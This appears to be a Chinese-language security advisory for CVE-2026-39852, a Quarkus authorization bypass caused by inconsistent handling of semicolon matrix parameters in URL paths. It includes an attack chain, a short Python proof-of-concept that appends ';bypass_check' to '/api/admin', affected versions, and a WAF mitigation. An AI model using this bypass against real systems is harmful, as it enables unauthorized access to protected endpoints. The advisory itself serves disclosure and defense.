IPBUF安全漏洞报告
English
CVE-2026-39852 CVSS 8.2 高危

CVE-2026-39852 Quarkus路径规范化授权绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-39852
漏洞类型
访问控制绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Quarkus

相关标签

访问控制绕过Quarkus路径规范化授权绕过CVE-2026-39852

漏洞概述

Quarkus框架存在授权绕过漏洞。由于安全层与路由层对URL路径的规范化处理不一致,具体表现为安全层保留分号参数而路由层将其剥离。攻击者可利用此差异,在受保护路径后追加分号及任意内容(如`;test`),从而绕过基于路径的访问控制策略,访问敏感端点。该漏洞影响多个版本,建议尽快升级。

技术细节

该漏洞源于Quarkus安全层与底层RESTEasy Reactive路由层在处理URL矩阵参数时的不一致性。Quarkus的安全拦截器在执行权限检查时,基于未经完整规范化的原始URL路径,该路径保留了分号及其后的内容(即矩阵参数)。然而,底层的RESTEasy Reactive路由器在将请求映射到具体的REST端点之前,会自动剥离这些矩阵参数。攻击者利用这一差异,只需向受保护的资源路径(如`/api/admin`)追加分号和任意字符串(例如`/api/admin;matrix_param`),即可导致安全层认为请求的目标路径发生了变化,从而不匹配针对`/api/admin`的严格拦截规则。虽然安全检查被绕过,但路由层将请求解析为`/api/admin`并成功路由至受保护的控制器,最终实现了未经授权的敏感操作访问。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用使用Quarkus框架,并发现受保护的敏感端点(如/api/admin)。
STEP 2
载荷构造
攻击者在受保护路径后添加分号和任意字符(例如 /api/admin;anything),构造出特殊的HTTP请求URL。
STEP 3
发送请求
攻击者向目标服务器发送包含构造好的URL的HTTP请求。
STEP 4
绕过与利用
Quarkus安全层检查原始路径(包含分号)而未拦截;路由层剥离分号后将请求正确路由至受保护端点,攻击者成功获取数据或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url): # Path to protected endpoint protected_path = "/api/admin" # Bypass payload: append semicolon and arbitrary text bypass_payload = ";bypass_check" full_url = f"{target_url}{protected_path}{bypass_payload}" print(f"[*] Attempting to access: {full_url}") try: response = requests.get(full_url) if response.status_code == 200: print("[+] Authorization bypass successful! Access granted.") print(f"[+] Response Content: {response.text[:100]}") else: print(f"[-] Access denied or error. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-host:8080" exploit_poc(target)

影响范围

Quarkus < 3.20.6.1
Quarkus < 3.27.3.1
Quarkus < 3.33.1.1
Quarkus < 3.35.1.1
Quarkus < 3.34.7
Quarkus < 3.35.2

防御指南

临时缓解措施
若无法立即升级,建议在反向代理或Web应用防火墙(WAF)中配置规则,拦截URL路径中包含分号(;)的请求,或严格规范化入站请求路径后再转发给后端Quarkus应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表